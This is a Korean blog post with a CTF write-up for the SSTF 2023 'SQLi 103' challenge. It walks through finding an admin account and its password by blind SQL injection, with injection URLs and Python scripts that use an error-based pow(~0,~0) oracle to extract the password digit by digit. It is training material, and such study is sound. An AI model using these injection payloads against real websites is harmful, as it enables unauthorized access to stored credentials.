[web] Tutorial - SQLi 103

1. 문제 설명
Okay, you're getting familiar with web and sql!
Here's another lesson for you. :)
Find the password of the administrator.
http://sqli103.sstf.site/survey.php.
http://sqli103.sstf.site/check_id.php.
Keep in mind:
- There's pw column in the database.
- The password meets '\d{6,10}'.
- The flag will be SCTF{password of administrator}.
2. Writeup
이 문제는 게싱이 좀 심한 문제라서 적당히 풀이를 참고하며 풀었고, 다음과 같이 정리할 수 있다.
0) SQLi 103 문제 정리 (더보기 클릭)
문제의 목표
Blind SQL Injection을 통해 administrator의 패스워드 찾기
문제의 정보
- survey.php 페이지는 answer 파라미터로 숫자만 입력받도록 설계되어 있다.
- check_id.php 페이지는 id 파라미터를 통해 입력받은 사용자가 존재하는지에 대한 여부를 true/false로 반환한다.
- 데이터베이스에는 pw 컬럼이 존재한다.
- 패스워드는 '\d{6,10}' 형식을 만족한다. (비밀번호는 6~10자리의 숫자로 구성되어 있다)
- FLAG는 SCTF{관리자의 비밀번호} 형식이다.
힌트
- user_id와 is_admin 컬럼이 데이터베이스에 존재한다.
- 다음과 같은 User ID가 존재한다.
["alpha", "beta", "gamma", "delta", "epsilon", "zeta", "eta", "theta", "iota", "kappa", "lambda", "admin", "notadmin"]
1) 관리자 계정 찾기
등록된 여러 ID 중 진짜 관리자 권한을 가진 계정을 찾아야 한다.
check_id.php 페이지에서 id 파라미터에 다음 값들을 입력해보면서 SQL Injection 취약점이 존재하는지 확인할 수 있다.
id 파라미터에 세미콜론 (') 을 입력하면 mysqli 경고 메시지를 확인할 수 있다.
이를 통해 서버는 mysql 을 사용하고 있다는 사실을 확인할 수 있다.

이후 id에 존재하지 않는 user id (ex. asdf)를 입력하고 'or 1=1-- -과 'or 1=2-- - 를 추가하여 결과값을 확인해보자.
Case 1)
http://sqli103.sstf.site/check_id.php?id=asdf' or 1=1-- -

Case 2)
http://sqli103.sstf.site/check_id.php?id=asdf' or 1=2-- -

이를 통해 id 파라미터를 이용하여 blind sql injection 을 수행하면 관리자 계정을 찾아낼 수 있다.
이 테이블에는 user_id와 is_admin 컬럼이 존재하기 때문에 id=alpha' and is_admin=1 -- - 쿼리를 입력하여 결과값을 보고 알아낼 수 있다.
따라서 admin 계정을 찾아내는 코드는 다음과 같이 작성할 수 있다.
import requests accounts = ["alpha", "beta", "gamma", "delta", "epsilon", "zeta", "eta", "theta", "iota", "kappa", "lambda", "admin", "notadmin"] is_admin = 1 url = 'http://sqli103.sstf.site/check_id.php?id=' query = f"{accounts[0]}' and is_admin={int(is_admin)} -- -" for i in range(accounts.__len__()): query = f"{accounts[i]}' and is_admin={int(is_admin)} -- -" res = requests.get(url + query) if res.text.find("true") != -1: print(f"admin account : {accounts[i]}") break

2) 관리자 계정 비밀번호 찾기
관리자 계정이 epsilon이라는 사실을 알았고 이제 계정 비밀번호를 찾아야 한다.
survey.php 페이지에는 SQL Injection 취약점이 존재한다.
answer 파라미터에 sleep(5)를 입력하면 5초 뒤 사이트 응답이 오는것을 확인할 수 있다.

이를 통해 다음과 같이 관리자 계정의 패스워드 길이와 값을 알아내는 코드를 작성할 수 있다.
import requests url = 'http://sqli103.sstf.site/survey.php?answer=' def find_length(): print("[+] Find Length") num = 0 while True: find_length_query = f"(select if(length(pw)={num}, pow(~0, ~0), 0) from member where user_id='epsilon')" res = requests.get(url + find_length_query) if res.text.find("DOUBLE value is out of range in 'pow(~(0),~(0))") != -1: print(f'length : {num}') break else: num += 1 return num def find_pw(len): print("[+] Find String") flag = 'SCTF{' for num in range(1, len+1): for byte in range(0, 11): find_string_query = f"if((select substr(pw,{int(num)},1) from member where user_id='epsilon')={int(byte)}, pow(~0, ~0), 0)" res = requests.get(url + find_string_query) if res.text.find("DOUBLE value is out of range in 'pow(~(0),~(0))") != -1: flag += str(byte) print(flag) break flag += '}' print(flag) find_pw(find_length())

'🚩 CTF Writeup > SSTF 2023' 카테고리의 다른 글
[pwn] Tutorial - BOF102 (0) | 2024.01.10 |
---|---|
[pwn] Tutorial - BOF101 (0) | 2024.01.10 |
[web] Tutorial - SQLi 102 (0) | 2024.01.10 |
[web] Tutorial - SQLi 101 (0) | 2024.01.10 |
[web] Tutorial - XSS101 (0) | 2024.01.10 |
댓글
이 글 공유하기
다른 글
-
[pwn] Tutorial - BOF102
[pwn] Tutorial - BOF102
2024.01.10 -
[pwn] Tutorial - BOF101
[pwn] Tutorial - BOF101
2024.01.10 -
[web] Tutorial - SQLi 102
[web] Tutorial - SQLi 102
2024.01.10 -
[web] Tutorial - SQLi 101
[web] Tutorial - SQLi 101
2024.01.10
댓글을 사용할 수 없습니다.